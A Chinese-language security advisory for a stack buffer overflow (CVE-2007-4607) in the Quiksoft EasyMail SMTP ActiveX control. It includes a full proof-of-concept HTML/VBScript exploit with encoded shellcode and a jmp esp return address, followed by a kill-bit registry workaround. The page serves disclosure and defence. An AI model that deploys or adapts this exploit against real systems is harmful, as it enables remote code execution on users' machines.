安全研究
安全漏洞
Quiksoft EasyMail SMTP ActiveX控件远程栈缓冲区溢出漏洞
发布日期：2007-08-28
更新日期：2007-08-30
受影响系统：
Quiksoft EasyMail Objects 6.0.1不受影响系统：
PostCast PostCast Server Pro 3.0.61
Quiksoft EasyMail Objects 6.5描述：
BUGTRAQ ID: 25467
CVE(CAN) ID: CVE-2007-4607
EasyMail Objects是一组全面的、易用的COM控件，可以创建、发送、接收、显示、编辑、保存和打印电子邮件。
EasyMail Objects在处理畸形参数的请求时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。
EasyMail Objects中所捆绑的EasyMail SMTP ActiveX控件（emsmtp.dll）没有正确地验证对SubmitToExpress方式的输入参数，如果用户受骗打开了恶意网页并向该方式传送了超过539字符的超长参数的话，就可能触发栈溢出，导致在用户浏览器会话中执行任意指令。
<*来源：rgod （rgod@autistici.org）
链接：http://www.kb.cert.org/vuls/id/281977
http://secunia.com/advisories/26639/
http://secunia.com/advisories/24199/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9' id='EasyMailSMTPObj' /></object>
<script language='vbscript'>
'open calc.exe
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54") & _
unescape("%42%30%42%50%42%50%4b%58%45%54%4e%53%4b%58%4e%37") & _
unescape("%45%50%4a%47%41%30%4f%4e%4b%38%4f%44%4a%51%4b%48") & _
unescape("%4f%55%42%42%41%30%4b%4e%49%44%4b%48%46%43%4b%38") & _
unescape("%41%30%50%4e%41%53%42%4c%49%49%4e%4a%46%58%42%4c") & _
unescape("%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e") & _
unescape("%46%4f%4b%53%46%35%46%32%46%30%45%37%45%4e%4b%48") & _
unescape("%4f%35%46%32%41%50%4b%4e%48%56%4b%38%4e%50%4b%54") & _
unescape("%4b%48%4f%55%4e%31%41%30%4b%4e%4b%38%4e%41%4b%38") & _
unescape("%41%30%4b%4e%49%58%4e%35%46%42%46%50%43%4c%41%43") & _
unescape("%42%4c%46%36%4b%48%42%34%42%33%45%38%42%4c%4a%37") & _
unescape("%4e%30%4b%48%42%34%4e%50%4b%48%42%57%4e%31%4d%4a") & _
unescape("%4b%38%4a%46%4a%50%4b%4e%49%50%4b%48%42%38%42%4b") & _
unescape("%42%30%42%50%42%30%4b%48%4a%36%4e%53%4f%35%41%33") & _
unescape("%48%4f%42%46%48%35%49%58%4a%4f%43%48%42%4c%4b%57") & _
unescape("%42%55%4a%46%42%4f%4c%48%46%50%4f%35%4a%46%4a%49") & _
unescape("%50%4f%4c%38%50%30%47%55%4f%4f%47%4e%43%56%41%36") & _
unescape("%4e%46%43%46%50%52%45%36%4a%37%45%36%42%30%5a")
esi = unescape("%01%01%01%01")
ebp = "bbbb"
nop = string(16,unescape("%90"))
eip = unescape("%78%2c%41%7e") '0x7E412C78 jmp esp user32.dll
bof = string(539,"A") + esi + ebp + eip + nop + scode
EasyMailSMTPObj.SubmitToExpress bof
</script>
</html>
建议：
临时解决方法：
* 在IE中为以下CLSID设置kill bit：
{68AC0D5F-0424-11D5-822F-00C04F6BA8D9}
或将以下文本保存为.REG文件并导入：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{68AC0D5F-0424-11D5-822F-00C04F6BA8D9}]
"Compatibility Flags"=dword:00000400
厂商补丁：
Quiksoft
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.quiksoft.com/
PostCast
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.postcastserver.com/
浏览次数：4083
严重程度：0（网友投票）
绿盟科技给您安全的保障